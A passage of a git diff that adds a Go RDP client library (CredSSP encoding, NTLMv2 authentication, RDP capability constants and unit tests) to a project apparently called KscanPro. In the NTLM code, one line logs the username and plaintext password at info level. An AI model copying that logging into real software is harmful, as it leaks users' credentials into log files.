+ ReaderName string `asn1:"explicit,tag:2"`
+ ContainerName string `asn1:"explicit,tag:3"`
+ CspName string `asn1:"explicit,tag:4"`
+}
+
+type TSSmartCardCreds struct {
+ Pin string `asn1:"explicit,tag:0"`
+ CspData []TSCspDataDetail `asn1:"explicit,tag:1"`
+ UserHint string `asn1:"explicit,tag:2"`
+ DomainHint string `asn1:"explicit,tag:3"`
+}
+
+func EncodeDERTRequest(msgs []Message, authInfo []byte, pubKeyAuth []byte) []byte {
+ req := TSRequest{
+ Version: 2,
+ }
+
+ if len(msgs) > 0 {
+ req.NegoTokens = make([]NegoToken, 0, len(msgs))
+ }
+
+ for _, msg := range msgs {
+ token := NegoToken{msg.Serialize()}
+ req.NegoTokens = append(req.NegoTokens, token)
+ }
+
+ if len(authInfo) > 0 {
+ req.AuthInfo = authInfo
+ }
+
+ if len(pubKeyAuth) > 0 {
+ req.PubKeyAuth = pubKeyAuth
+ }
+
+ result, err := asn1.Marshal(req)
+ if err != nil {
+ glog.Error(err)
+ }
+ return result
+}
+
+func DecodeDERTRequest(s []byte) (*TSRequest, error) {
+ treq := &TSRequest{}
+ _, err := asn1.Unmarshal(s, treq)
+ return treq, err
+}
+func EncodeDERTCredentials(domain, username, password []byte) []byte {
+ tpas := TSPasswordCreds{domain, username, password}
+ result, err := asn1.Marshal(tpas)
+ if err != nil {
+ glog.Error(err)
+ }
+ tcre := TSCredentials{1, result}
+ result, err = asn1.Marshal(tcre)
+ if err != nil {
+ glog.Error(err)
+ }
+ return result
+}
+
+func DecodeDERTCredentials(s []byte) (*TSCredentials, error) {
+ tcre := &TSCredentials{}
+ _, err := asn1.Unmarshal(s, tcre)
+ return tcre, err
+}
diff --git a/lib/grdp/protocol/nla/encode.go b/lib/grdp/protocol/nla/encode.go
new file mode 100644
index 0000000..b183413
--- /dev/null
+++ b/lib/grdp/protocol/nla/encode.go
@@ -0,0 +1,46 @@
+package nla
+
+import (
+ "crypto/hmac"
+ "crypto/md5"
+ "crypto/rc4"
+ "strings"
+
+ "KscanPro/lib/grdp/core"
+ "golang.org/x/crypto/md4"
+)
+
+func MD4(data []byte) []byte {
+ h := md4.New()
+ h.Write(data)
+ return h.Sum(nil)
+}
+
+func MD5(data []byte) []byte {
+ h := md5.New()
+ h.Write(data)
+ return h.Sum(nil)
+}
+
+func HMAC_MD5(key, data []byte) []byte {
+ h := hmac.New(md5.New, key)
+ h.Write(data)
+ return h.Sum(nil)
+}
+
+// Version 2 of NTLM hash function
+func NTOWFv2(password, user, domain string) []byte {
+ return HMAC_MD5(MD4(core.UnicodeEncode(password)), core.UnicodeEncode(strings.ToUpper(user)+domain))
+}
+
+// Same as NTOWFv2
+func LMOWFv2(password, user, domain string) []byte {
+ return NTOWFv2(password, user, domain)
+}
+
+func RC4K(key, src []byte) []byte {
+ result := make([]byte, len(src))
+ rc4obj, _ := rc4.NewCipher(key)
+ rc4obj.XORKeyStream(result, src)
+ return result
+}
diff --git a/lib/grdp/protocol/nla/encode_test.go b/lib/grdp/protocol/nla/encode_test.go
new file mode 100644
index 0000000..c1072fc
--- /dev/null
+++ b/lib/grdp/protocol/nla/encode_test.go
@@ -0,0 +1,32 @@
+package nla_test
+
+import (
+ "encoding/hex"
+ "testing"
+
+ "KscanPro/lib/grdp/protocol/nla"
+)
+
+func TestNTOWFv2(t *testing.T) {
+ res := hex.EncodeToString(nla.NTOWFv2("", "", ""))
+ expected := "f4c1a15dd59d4da9bd595599220d971a"
+ if res != expected {
+ t.Error(res, "not equal to", expected)
+ }
+
+ res = hex.EncodeToString(nla.NTOWFv2("user", "pwd", "dom"))
+ expected = "652feb8208b3a8a6264c9c5d5b820979"
+ if res != expected {
+ t.Error(res, "not equal to", expected)
+ }
+}
+
+func TestRC4K(t *testing.T) {
+ key, _ := hex.DecodeString("55638e834ce774c100637f197bc0683f")
+ src, _ := hex.DecodeString("177d16086dd3f06fa8d594e3bad005b7")
+ res := hex.EncodeToString(nla.RC4K(key, src))
+ expected := "f5ab375222707a492bd5a90705d96d1d"
+ if res != expected {
+ t.Error(res, "not equal to", expected)
+ }
+}
diff --git a/lib/grdp/protocol/nla/ntlm.go b/lib/grdp/protocol/nla/ntlm.go
new file mode 100644
index 0000000..69333df
--- /dev/null
+++ b/lib/grdp/protocol/nla/ntlm.go
@@ -0,0 +1,515 @@
+package nla
+
+import (
+ "bytes"
+ "crypto/md5"
+ "crypto/rc4"
+ "encoding/binary"
+ "encoding/hex"
+ "time"
+
+ "KscanPro/lib/grdp/core"
+ "KscanPro/lib/grdp/glog"
+ "github.com/lunixbochs/struc"
+)
+
+const (
+ WINDOWS_MINOR_VERSION_0 = 0x00
+ WINDOWS_MINOR_VERSION_1 = 0x01
+ WINDOWS_MINOR_VERSION_2 = 0x02
+ WINDOWS_MINOR_VERSION_3 = 0x03
+
+ WINDOWS_MAJOR_VERSION_5 = 0x05
+ WINDOWS_MAJOR_VERSION_6 = 0x06
+ NTLMSSP_REVISION_W2K3 = 0x0F
+)
+
+const (
+ MsvAvEOL = 0x0000
+ MsvAvNbComputerName = 0x0001
+ MsvAvNbDomainName = 0x0002
+ MsvAvDnsComputerName = 0x0003
+ MsvAvDnsDomainName = 0x0004
+ MsvAvDnsTreeName = 0x0005
+ MsvAvFlags = 0x0006
+ MsvAvTimestamp = 0x0007
+ MsvAvSingleHost = 0x0008
+ MsvAvTargetName = 0x0009
+ MsvChannelBindings = 0x000A
+)
+
+type AVPair struct {
+ Id uint16 `struc:"little"`
+ Len uint16 `struc:"little,sizeof=Value"`
+ Value []byte `struc:"little"`
+}
+
+const (
+ NTLMSSP_NEGOTIATE_56 = 0x80000000
+ NTLMSSP_NEGOTIATE_KEY_EXCH = 0x40000000
+ NTLMSSP_NEGOTIATE_128 = 0x20000000
+ NTLMSSP_NEGOTIATE_VERSION = 0x02000000
+ NTLMSSP_NEGOTIATE_TARGET_INFO = 0x00800000
+ NTLMSSP_REQUEST_NON_NT_SESSION_KEY = 0x00400000
+ NTLMSSP_NEGOTIATE_IDENTIFY = 0x00100000
+ NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY = 0x00080000
+ NTLMSSP_TARGET_TYPE_SERVER = 0x00020000
+ NTLMSSP_TARGET_TYPE_DOMAIN = 0x00010000
+ NTLMSSP_NEGOTIATE_ALWAYS_SIGN = 0x00008000
+ NTLMSSP_NEGOTIATE_OEM_WORKSTATION_SUPPLIED = 0x00002000
+ NTLMSSP_NEGOTIATE_OEM_DOMAIN_SUPPLIED = 0x00001000
+ NTLMSSP_NEGOTIATE_NTLM = 0x00000200
+ NTLMSSP_NEGOTIATE_LM_KEY = 0x00000080
+ NTLMSSP_NEGOTIATE_DATAGRAM = 0x00000040
+ NTLMSSP_NEGOTIATE_SEAL = 0x00000020
+ NTLMSSP_NEGOTIATE_SIGN = 0x00000010
+ NTLMSSP_REQUEST_TARGET = 0x00000004
+ NTLM_NEGOTIATE_OEM = 0x00000002
+ NTLMSSP_NEGOTIATE_UNICODE = 0x00000001
+)
+
+type NVersion struct {
+ ProductMajorVersion uint8 `struc:"little"`
+ ProductMinorVersion uint8 `struc:"little"`
+ ProductBuild uint16 `struc:"little"`
+ Reserved [3]byte `struc:"little"`
+ NTLMRevisionCurrent uint8 `struc:"little"`
+}
+
+func NewNVersion() NVersion {
+ return NVersion{
+ ProductMajorVersion: WINDOWS_MAJOR_VERSION_6,
+ ProductMinorVersion: WINDOWS_MINOR_VERSION_0,
+ ProductBuild: 6002,
+ NTLMRevisionCurrent: NTLMSSP_REVISION_W2K3,
+ }
+}
+
+type Message interface {
+ Serialize() []byte
+}
+
+type NegotiateMessage struct {
+ Signature [8]byte `struc:"little"`
+ MessageType uint32 `struc:"little"`
+ NegotiateFlags uint32 `struc:"little"`
+ DomainNameLen uint16 `struc:"little"`
+ DomainNameMaxLen uint16 `struc:"little"`
+ DomainNameBufferOffset uint32 `struc:"little"`
+ WorkstationLen uint16 `struc:"little"`
+ WorkstationMaxLen uint16 `struc:"little"`
+ WorkstationBufferOffset uint32 `struc:"little"`
+ Version NVersion `struc:"little"`
+ Payload [32]byte `struc:"skip"`
+}
+
+func NewNegotiateMessage() *NegotiateMessage {
+ return &NegotiateMessage{
+ Signature: [8]byte{'N', 'T', 'L', 'M', 'S', 'S', 'P', 0x00},
+ MessageType: 0x00000001,
+ }
+}
+
+func (m *NegotiateMessage) Serialize() []byte {
+ if (m.NegotiateFlags & NTLMSSP_NEGOTIATE_VERSION) != 0 {
+ m.Version = NewNVersion()
+ }
+ buff := &bytes.Buffer{}
+ struc.Pack(buff, m)
+
+ return buff.Bytes()
+}
+
+type ChallengeMessage struct {
+ Signature []byte `struc:"[8]byte"`
+ MessageType uint32 `struc:"little"`
+ TargetNameLen uint16 `struc:"little"`
+ TargetNameMaxLen uint16 `struc:"little"`
+ TargetNameBufferOffset uint32 `struc:"little"`
+ NegotiateFlags uint32 `struc:"little"`
+ ServerChallenge [8]byte `struc:"little"`
+ Reserved [8]byte `struc:"little"`
+ TargetInfoLen uint16 `struc:"little"`
+ TargetInfoMaxLen uint16 `struc:"little"`
+ TargetInfoBufferOffset uint32 `struc:"little"`
+ Version NVersion `struc:"skip"`
+ Payload []byte `struc:"skip"`
+}
+
+func (m *ChallengeMessage) Serialize() []byte {
+ buff := &bytes.Buffer{}
+ struc.Pack(buff, m)
+ if (m.NegotiateFlags & NTLMSSP_NEGOTIATE_VERSION) != 0 {
+ struc.Pack(buff, m.Version)
+ }
+ buff.Write(m.Payload)
+ return buff.Bytes()
+}
+
+func NewChallengeMessage() *ChallengeMessage {
+ return &ChallengeMessage{
+ Signature: []byte{'N', 'T', 'L', 'M', 'S', 'S', 'P', 0x00},
+ MessageType: 0x00000002,
+ }
+}
+
+// total len - payload len
+func (m *ChallengeMessage) BaseLen() uint32 {
+ return 56
+}
+
+func (m *ChallengeMessage) getTargetInfo() []byte {
+ if m.TargetInfoLen == 0 {
+ return make([]byte, 0)
+ }
+ offset := m.BaseLen()
+ start := m.TargetInfoBufferOffset - offset
+ return m.Payload[start : start+uint32(m.TargetInfoLen)]
+}
+func (m *ChallengeMessage) getTargetName() []byte {
+ if m.TargetNameLen == 0 {
+ return make([]byte, 0)
+ }
+ offset := m.BaseLen()
+ start := m.TargetNameBufferOffset - offset
+ return m.Payload[start : start+uint32(m.TargetNameLen)]
+}
+func (m *ChallengeMessage) getTargetInfoTimestamp(data []byte) []byte {
+ r := bytes.NewReader(data)
+ for r.Len() > 0 {
+ avPair := &AVPair{}
+ struc.Unpack(r, avPair)
+ if avPair.Id == MsvAvTimestamp {
+ return avPair.Value
+ }
+
+ if avPair.Id == MsvAvEOL {
+ break
+ }
+ }
+ return nil
+}
+
+type AuthenticateMessage struct {
+ Signature [8]byte
+ MessageType uint32 `struc:"little"`
+ LmChallengeResponseLen uint16 `struc:"little"`
+ LmChallengeResponseMaxLen uint16 `struc:"little"`
+ LmChallengeResponseBufferOffset uint32 `struc:"little"`
+ NtChallengeResponseLen uint16 `struc:"little"`
+ NtChallengeResponseMaxLen uint16 `struc:"little"`
+ NtChallengeResponseBufferOffset uint32 `struc:"little"`
+ DomainNameLen uint16 `struc:"little"`
+ DomainNameMaxLen uint16 `struc:"little"`
+ DomainNameBufferOffset uint32 `struc:"little"`
+ UserNameLen uint16 `struc:"little"`
+ UserNameMaxLen uint16 `struc:"little"`
+ UserNameBufferOffset uint32 `struc:"little"`
+ WorkstationLen uint16 `struc:"little"`
+ WorkstationMaxLen uint16 `struc:"little"`
+ WorkstationBufferOffset uint32 `struc:"little"`
+ EncryptedRandomSessionLen uint16 `struc:"little"`
+ EncryptedRandomSessionMaxLen uint16 `struc:"little"`
+ EncryptedRandomSessionBufferOffset uint32 `struc:"little"`
+ NegotiateFlags uint32 `struc:"little"`
+ Version NVersion `struc:"little"`
+ MIC [16]byte `struc:"little"`
+ Payload []byte `struc:"skip"`
+}
+
+func (m *AuthenticateMessage) BaseLen() uint32 {
+ return 88
+}
+
+func NewAuthenticateMessage(negFlag uint32, domain, user, workstation []byte,
+ lmchallResp, ntchallResp, enRandomSessKey []byte) *AuthenticateMessage {
+ msg := &AuthenticateMessage{
+ Signature: [8]byte{'N', 'T', 'L', 'M', 'S', 'S', 'P', 0x00},
+ MessageType: 0x00000003,
+ NegotiateFlags: negFlag,
+ }
+ payloadBuff := &bytes.Buffer{}
+
+ msg.LmChallengeResponseLen = uint16(len(lmchallResp))
+ msg.LmChallengeResponseMaxLen = msg.LmChallengeResponseLen
+ msg.LmChallengeResponseBufferOffset = msg.BaseLen()
+ payloadBuff.Write(lmchallResp)
+
+ msg.NtChallengeResponseLen = uint16(len(ntchallResp))
+ msg.NtChallengeResponseMaxLen = msg.NtChallengeResponseLen
+ msg.NtChallengeResponseBufferOffset = msg.LmChallengeResponseBufferOffset + uint32(msg.LmChallengeResponseLen)
+ payloadBuff.Write(ntchallResp)
+
+ msg.DomainNameLen = uint16(len(domain))
+ msg.DomainNameMaxLen = msg.DomainNameLen
+ msg.DomainNameBufferOffset = msg.NtChallengeResponseBufferOffset + uint32(msg.NtChallengeResponseLen)
+ payloadBuff.Write(domain)
+
+ msg.UserNameLen = uint16(len(user))
+ msg.UserNameMaxLen = msg.UserNameLen
+ msg.UserNameBufferOffset = msg.DomainNameBufferOffset + uint32(msg.DomainNameLen)
+ payloadBuff.Write(user)
+
+ msg.WorkstationLen = uint16(len(workstation))
+ msg.WorkstationMaxLen = msg.WorkstationLen
+ msg.WorkstationBufferOffset = msg.UserNameBufferOffset + uint32(msg.UserNameLen)
+ payloadBuff.Write(workstation)
+
+ msg.EncryptedRandomSessionLen = uint16(len(enRandomSessKey))
+ msg.EncryptedRandomSessionMaxLen = msg.EncryptedRandomSessionLen
+ msg.EncryptedRandomSessionBufferOffset = msg.WorkstationBufferOffset + uint32(msg.WorkstationLen)
+ payloadBuff.Write(enRandomSessKey)
+
+ if (msg.NegotiateFlags & NTLMSSP_NEGOTIATE_VERSION) != 0 {
+ msg.Version = NewNVersion()
+ }
+ msg.Payload = payloadBuff.Bytes()
+
+ return msg
+}
+
+func (m *AuthenticateMessage) Serialize() []byte {
+ buff := &bytes.Buffer{}
+ struc.Pack(buff, m)
+ buff.Write(m.Payload)
+ return buff.Bytes()
+}
+
+type NTLMv2 struct {
+ domain string
+ user string
+ password string
+ respKeyNT []byte
+ respKeyLM []byte
+ negotiateMessage *NegotiateMessage
+ challengeMessage *ChallengeMessage
+ authenticateMessage *AuthenticateMessage
+ enableUnicode bool
+}
+
+func NewNTLMv2(domain, user, password string) *NTLMv2 {
+ return &NTLMv2{
+ domain: domain,
+ user: user,
+ password: password,
+ respKeyNT: NTOWFv2(password, user, domain),
+ respKeyLM: LMOWFv2(password, user, domain),
+ }
+}
+
+// generate first handshake messgae
+func (n *NTLMv2) GetNegotiateMessage() *NegotiateMessage {
+ negoMsg := NewNegotiateMessage()
+ negoMsg.NegotiateFlags = NTLMSSP_NEGOTIATE_KEY_EXCH |
+ NTLMSSP_NEGOTIATE_128 |
+ NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY |
+ NTLMSSP_NEGOTIATE_ALWAYS_SIGN |
+ NTLMSSP_NEGOTIATE_NTLM |
+ NTLMSSP_NEGOTIATE_SEAL |
+ NTLMSSP_NEGOTIATE_SIGN |
+ NTLMSSP_REQUEST_TARGET |
+ NTLMSSP_NEGOTIATE_UNICODE
+ n.negotiateMessage = negoMsg
+ return n.negotiateMessage
+}
+
+// process NTLMv2 Authenticate hash
+func (n *NTLMv2) ComputeResponseV2(respKeyNT, respKeyLM, serverChallenge, clientChallenge,
+ timestamp, serverInfo []byte) (ntChallResp, lmChallResp, SessBaseKey []byte) {
+
+ tempBuff := &bytes.Buffer{}
+ tempBuff.Write([]byte{0x01, 0x01}) // Responser version, HiResponser version
+ tempBuff.Write([]byte{0x00, 0x00, 0x00, 0x00, 0x00, 0x00})
+ tempBuff.Write(timestamp)
+ tempBuff.Write(clientChallenge)
+ tempBuff.Write([]byte{0x00, 0x00, 0x00, 0x00})
+ tempBuff.Write(serverInfo)
+ tempBuff.Write([]byte{0x00, 0x00, 0x00, 0x00})
+
+ ntBuf := bytes.NewBuffer(serverChallenge)
+ ntBuf.Write(tempBuff.Bytes())
+ ntProof := HMAC_MD5(respKeyNT, ntBuf.Bytes())
+
+ ntChallResp = make([]byte, 0, len(ntProof)+tempBuff.Len())
+ ntChallResp = append(ntChallResp, ntProof...)
+ ntChallResp = append(ntChallResp, tempBuff.Bytes()...)
+
+ lmBuf := bytes.NewBuffer(serverChallenge)
+ lmBuf.Write(clientChallenge)
+ lmChallResp = HMAC_MD5(respKeyLM, lmBuf.Bytes())
+ lmChallResp = append(lmChallResp, clientChallenge...)
+
+ SessBaseKey = HMAC_MD5(respKeyNT, ntProof)
+ return
+}
+
+func MIC(exportedSessionKey []byte, negotiateMessage, challengeMessage, authenticateMessage Message) []byte {
+ buff := bytes.Buffer{}
+ buff.Write(negotiateMessage.Serialize())
+ buff.Write(challengeMessage.Serialize())
+ buff.Write(authenticateMessage.Serialize())
+ return HMAC_MD5(exportedSessionKey, buff.Bytes())
+}
+
+func concat(bs ...[]byte) []byte {
+ return bytes.Join(bs, nil)
+}
+
+var (
+ clientSigning = concat([]byte("session key to client-to-server signing key magic constant"), []byte{0x00})
+ serverSigning = concat([]byte("session key to server-to-client signing key magic constant"), []byte{0x00})
+ clientSealing = concat([]byte("session key to client-to-server sealing key magic constant"), []byte{0x00})
+ serverSealing = concat([]byte("session key to server-to-client sealing key magic constant"), []byte{0x00})
+)
+
+func (n *NTLMv2) GetAuthenticateMessage(s []byte) (*AuthenticateMessage, *NTLMv2Security) {
+ challengeMsg := &ChallengeMessage{}
+ r := bytes.NewReader(s)
+ err := struc.Unpack(r, challengeMsg)
+ if err != nil {
+ glog.Error("read challengeMsg", err)
+ return nil, nil
+ }
+ if challengeMsg.NegotiateFlags&NTLMSSP_NEGOTIATE_VERSION != 0 {
+ version := NVersion{}
+ err := struc.Unpack(r, &version)
+ if err != nil {
+ glog.Error("read version", err)
+ return nil, nil
+ }
+ challengeMsg.Version = version
+ }
+ challengeMsg.Payload, _ = core.ReadBytes(r.Len(), r)
+ n.challengeMessage = challengeMsg
+ glog.Debugf("challengeMsg:%+v", challengeMsg)
+
+ serverName := challengeMsg.getTargetName()
+ serverInfo := challengeMsg.getTargetInfo()
+ timestamp := challengeMsg.getTargetInfoTimestamp(serverInfo)
+ computeMIC := false
+ if timestamp == nil {
+ ft := uint64(time.Now().UnixNano()) / 100
+ ft += 116444736000000000 // add time between unix & windows offset
+ timestamp = make([]byte, 8)
+ binary.LittleEndian.PutUint64(timestamp, ft)
+ } else {
+ computeMIC = true
+ }
+ glog.Infof("serverName=%+v", string(serverName))
+ serverChallenge := challengeMsg.ServerChallenge[:]
+ clientChallenge := core.Random(8)
+ ntChallengeResponse, lmChallengeResponse, SessionBaseKey := n.ComputeResponseV2(
+ n.respKeyNT, n.respKeyLM, serverChallenge, clientChallenge, timestamp, serverInfo)
+
+ exchangeKey := SessionBaseKey
+ exportedSessionKey := core.Random(16)
+ EncryptedRandomSessionKey := make([]byte, len(exportedSessionKey))
+ rc, _ := rc4.NewCipher(exchangeKey)
+ rc.XORKeyStream(EncryptedRandomSessionKey, exportedSessionKey)
+
+ if challengeMsg.NegotiateFlags&NTLMSSP_NEGOTIATE_UNICODE != 0 {
+ n.enableUnicode = true
+ }
+ glog.Infof("user: %s, passwd:%s", n.user, n.password)
+ domain, user, _ := n.GetEncodedCredentials()
+
+ n.authenticateMessage = NewAuthenticateMessage(challengeMsg.NegotiateFlags,
+ domain, user, []byte(""), lmChallengeResponse, ntChallengeResponse, EncryptedRandomSessionKey)
+
+ if computeMIC {
+ copy(n.authenticateMessage.MIC[:], MIC(exportedSessionKey, n.negotiateMessage, n.challengeMessage, n.authenticateMessage)[:16])
+ }
+
+ md := md5.New()
+ //ClientSigningKey
+ a := concat(exportedSessionKey, clientSigning)
+ md.Write(a)
+ ClientSigningKey := md.Sum(nil)
+ //ServerSigningKey
+ md.Reset()
+ a = concat(exportedSessionKey, serverSigning)
+ md.Write(a)
+ ServerSigningKey := md.Sum(nil)
+ //ClientSealingKey
+ md.Reset()
+ a = concat(exportedSessionKey, clientSealing)
+ md.Write(a)
+ ClientSealingKey := md.Sum(nil)
+ //ServerSealingKey
+ md.Reset()
+ a = concat(exportedSessionKey, serverSealing)
+ md.Write(a)
+ ServerSealingKey := md.Sum(nil)
+
+ glog.Debugf("ClientSigningKey:%s", hex.EncodeToString(ClientSigningKey))
+ glog.Debugf("ServerSigningKey:%s", hex.EncodeToString(ServerSigningKey))
+ glog.Debugf("ClientSealingKey:%s", hex.EncodeToString(ClientSealingKey))
+ glog.Debugf("ServerSealingKey:%s", hex.EncodeToString(ServerSealingKey))
+
+ encryptRC4, _ := rc4.NewCipher(ClientSealingKey)
+ decryptRC4, _ := rc4.NewCipher(ServerSealingKey)
+
+ ntlmSec := &NTLMv2Security{encryptRC4, decryptRC4, ClientSigningKey, ServerSigningKey, 0}
+
+ return n.authenticateMessage, ntlmSec
+}
+
+func (n *NTLMv2) GetEncodedCredentials() ([]byte, []byte, []byte) {
+ if n.enableUnicode {
+ return core.UnicodeEncode(n.domain), core.UnicodeEncode(n.user), core.UnicodeEncode(n.password)
+ }
+ return []byte(n.domain), []byte(n.user), []byte(n.password)
+}
+
+type NTLMv2Security struct {
+ EncryptRC4 *rc4.Cipher
+ DecryptRC4 *rc4.Cipher
+ SigningKey []byte
+ VerifyKey []byte
+ SeqNum uint32
+}
+
+func (n *NTLMv2Security) GssEncrypt(s []byte) []byte {
+ p := make([]byte, len(s))
+ n.EncryptRC4.XORKeyStream(p, s)
+ b := &bytes.Buffer{}
+
+ //signature
+ core.WriteUInt32LE(n.SeqNum, b)
+ core.WriteBytes(s, b)
+ s1 := HMAC_MD5(n.SigningKey, b.Bytes())[:8]
+ checksum := make([]byte, 8)
+ n.EncryptRC4.XORKeyStream(checksum, s1)
+ b.Reset()
+ core.WriteUInt32LE(0x00000001, b)
+ core.WriteBytes(checksum, b)
+ core.WriteUInt32LE(n.SeqNum, b)
+
+ core.WriteBytes(p, b)
+
+ n.SeqNum++
+
+ return b.Bytes()
+}
+func (n *NTLMv2Security) GssDecrypt(s []byte) []byte {
+ r := bytes.NewReader(s)
+ core.ReadUInt32LE(r) //version
+ checksum, _ := core.ReadBytes(8, r)
+ seqNum, _ := core.ReadUInt32LE(r)
+ data, _ := core.ReadBytes(r.Len(), r)
+
+ p := make([]byte, len(data))
+ n.DecryptRC4.XORKeyStream(p, data)
+
+ check := make([]byte, len(checksum))
+ n.DecryptRC4.XORKeyStream(check, checksum)
+
+ b := &bytes.Buffer{}
+ core.WriteUInt32LE(seqNum, b)
+ core.WriteBytes(p, b)
+ verify := HMAC_MD5(n.VerifyKey, b.Bytes())
+ if string(verify) != string(check) {
+ return nil
+ }
+ return p
+}
diff --git a/lib/grdp/protocol/nla/ntlm_test.go b/lib/grdp/protocol/nla/ntlm_test.go
new file mode 100644
index 0000000..dab06ea
--- /dev/null
+++ b/lib/grdp/protocol/nla/ntlm_test.go
@@ -0,0 +1,53 @@
+package nla_test
+
+//func TestNewNegotiateMessage(t *testing.T) {
+// ntlm := nla.NewNTLMv2("", "", "")
+// negoMsg := ntlm.GetNegotiateMessage()
+// buff := &bytes.Buffer{}
+// struc.Pack(buff, negoMsg)
+//
+// result := hex.EncodeToString(buff.Bytes())
+// expected := "4e544c4d535350000100000035820860000000000000000000000000000000000000000000000000"
+//
+// if result != expected {
+// t.Error(result, " not equals to", expected)
+// }
+//}
+//
+//func TestNTLMv2_ComputeResponse(t *testing.T) {
+// ntlm := nla.NewNTLMv2("", "", "")
+//
+// ResponseKeyNT, _ := hex.DecodeString("39e32c766260586a9036f1ceb04c3007")
+// ResponseKeyLM, _ := hex.DecodeString("39e32c766260586a9036f1ceb04c3007")
+// ServerChallenge, _ := hex.DecodeString("adcb9d1c8d4a5ed8")
+// ClienChallenge, _ := hex.DecodeString("1a78bed8e5d5efa7")
+// Timestamp, _ := hex.DecodeString("a02f44f01267d501")
+// ServerName, _ := hex.DecodeString("02001e00570049004e002d00460037005200410041004d004100500034004a00430001001e00570049004e002d00460037005200410041004d004100500034004a00430004001e00570049004e002d00460037005200410041004d004100500034004a00430003001e00570049004e002d00460037005200410041004d004100500034004a00430007000800a02f44f01267d50100000000")
+//
+// NtChallengeResponse, LmChallengeResponse, SessionBaseKey := ntlm.ComputeResponse(ResponseKeyNT, ResponseKeyLM, ServerChallenge, ClienChallenge, Timestamp, ServerName)
+//
+// ntChallRespExpected := "4e7316531937d2fc91e7230853844b890101000000000000a02f44f01267d5011a78bed8e5d5efa70000000002001e00570049004e002d00460037005200410041004d004100500034004a00430001001e00570049004e002d00460037005200410041004d004100500034004a00430004001e00570049004e002d00460037005200410041004d004100500034004a00430003001e00570049004e002d00460037005200410041004d004100500034004a00430007000800a02f44f01267d50100000000"
+// lmChallRespExpected := "d4dc6edc0c37dd70f69b5c4f05a615661a78bed8e5d5efa7"
+// sessBaseKeyExpected := "034009be89a0507b2bd6d28e966e1dab"
+//
+// if hex.EncodeToString(NtChallengeResponse) != ntChallRespExpected {
+// t.Error("NtChallengeResponse incorrect")
+// }
+//
+// if hex.EncodeToString(LmChallengeResponse) != lmChallRespExpected {
+// t.Error("LmChallengeResponse incorrect")
+// }
+//
+// if hex.EncodeToString(SessionBaseKey) != sessBaseKeyExpected {
+// t.Error("SessionBaseKey incorrect")
+// }
+//}
+//
+//func TestSIGNKEY(t *testing.T) {
+// exportedSessionKey, _ := hex.DecodeString("be32c3c56ea6683200a35329d67880c3")
+// result := hex.EncodeToString(nla.SIGNKEY(exportedSessionKey, true))
+// expected := "79b4f9a4113230f378a0af99f784adae"
+// if result != expected {
+// t.Error(result, "not equal to", expected)
+// }
+//}
diff --git a/lib/grdp/protocol/pdu/caps.go b/lib/grdp/protocol/pdu/caps.go
new file mode 100644
index 0000000..bf523fe
--- /dev/null
+++ b/lib/grdp/protocol/pdu/caps.go
@@ -0,0 +1,656 @@
+package pdu
+
+import (
+ "bytes"
+ "encoding/hex"
+ "errors"
+ "fmt"
+ "io"
+
+ "KscanPro/lib/grdp/glog"
+
+ "KscanPro/lib/grdp/core"
+ "KscanPro/lib/grdp/protocol/t125/gcc"
+ "github.com/lunixbochs/struc"
+)
+
+type CapsType uint16
+
+const (
+ CAPSTYPE_GENERAL CapsType = 0x0001
+ CAPSTYPE_BITMAP = 0x0002
+ CAPSTYPE_ORDER = 0x0003
+ CAPSTYPE_BITMAPCACHE = 0x0004
+ CAPSTYPE_CONTROL = 0x0005
+ CAPSTYPE_ACTIVATION = 0x0007
+ CAPSTYPE_POINTER = 0x0008
+ CAPSTYPE_SHARE = 0x0009
+ CAPSTYPE_COLORCACHE = 0x000A
+ CAPSTYPE_SOUND = 0x000C
+ CAPSTYPE_INPUT = 0x000D
+ CAPSTYPE_FONT = 0x000E
+ CAPSTYPE_BRUSH = 0x000F
+ CAPSTYPE_GLYPHCACHE = 0x0010
+ CAPSTYPE_OFFSCREENCACHE = 0x0011
+ CAPSTYPE_BITMAPCACHE_HOSTSUPPORT = 0x0012
+ CAPSTYPE_BITMAPCACHE_REV2 = 0x0013
+ CAPSTYPE_VIRTUALCHANNEL = 0x0014
+ CAPSTYPE_DRAWNINEGRIDCACHE = 0x0015
+ CAPSTYPE_DRAWGDIPLUS = 0x0016
+ CAPSTYPE_RAIL = 0x0017
+ CAPSTYPE_WINDOW = 0x0018
+ CAPSETTYPE_COMPDESK = 0x0019
+ CAPSETTYPE_MULTIFRAGMENTUPDATE = 0x001A
+ CAPSETTYPE_LARGE_POINTER = 0x001B
+ CAPSETTYPE_SURFACE_COMMANDS = 0x001C
+ CAPSETTYPE_BITMAP_CODECS = 0x001D
+ CAPSSETTYPE_FRAME_ACKNOWLEDGE = 0x001E
+)
+
+type MajorType uint16
+
+const (
+ OSMAJORTYPE_UNSPECIFIED MajorType = 0x0000
+ OSMAJORTYPE_WINDOWS = 0x0001
+ OSMAJORTYPE_OS2 = 0x0002
+ OSMAJORTYPE_MACINTOSH = 0x0003
+ OSMAJORTYPE_UNIX = 0x0004
+ OSMAJORTYPE_IOS = 0x0005
+ OSMAJORTYPE_OSX = 0x0006
+ OSMAJORTYPE_ANDROID = 0x0007
+)
+
+type MinorType uint16
+
+const (
+ OSMINORTYPE_UNSPECIFIED MinorType = 0x0000
+ OSMINORTYPE_WINDOWS_31X = 0x0001
+ OSMINORTYPE_WINDOWS_95 = 0x0002
+ OSMINORTYPE_WINDOWS_NT = 0x0003
+ OSMINORTYPE_OS2_V21 = 0x0004
+ OSMINORTYPE_POWER_PC = 0x0005
+ OSMINORTYPE_MACINTOSH = 0x0006
+ OSMINORTYPE_NATIVE_XSERVER = 0x0007
+ OSMINORTYPE_PSEUDO_XSERVER = 0x0008
+ OSMINORTYPE_WINDOWS_RT = 0x0009
+)
+
+const (
+ FASTPATH_OUTPUT_SUPPORTED uint16 = 0x0001
+ NO_BITMAP_COMPRESSION_HDR = 0x0400
+ LONG_CREDENTIALS_SUPPORTED = 0x0004
+ AUTORECONNECT_SUPPORTED = 0x0008
+ ENC_SALTED_CHECKSUM = 0x0010
+)
+
+type OrderFlag uint16
+
+const (
+ NEGOTIATEORDERSUPPORT OrderFlag = 0x0002
+ ZEROBOUNDSDELTASSUPPORT = 0x0008
+ COLORINDEXSUPPORT = 0x0020
+ SOLIDPATTERNBRUSHONLY = 0x0040
+ ORDERFLAGS_EXTRA_FLAGS = 0x0080
+)
+
+/**
+ * @see http://msdn.microsoft.com/en-us/library/cc240556.aspx
+ */
+type Order uint8
+
+const (
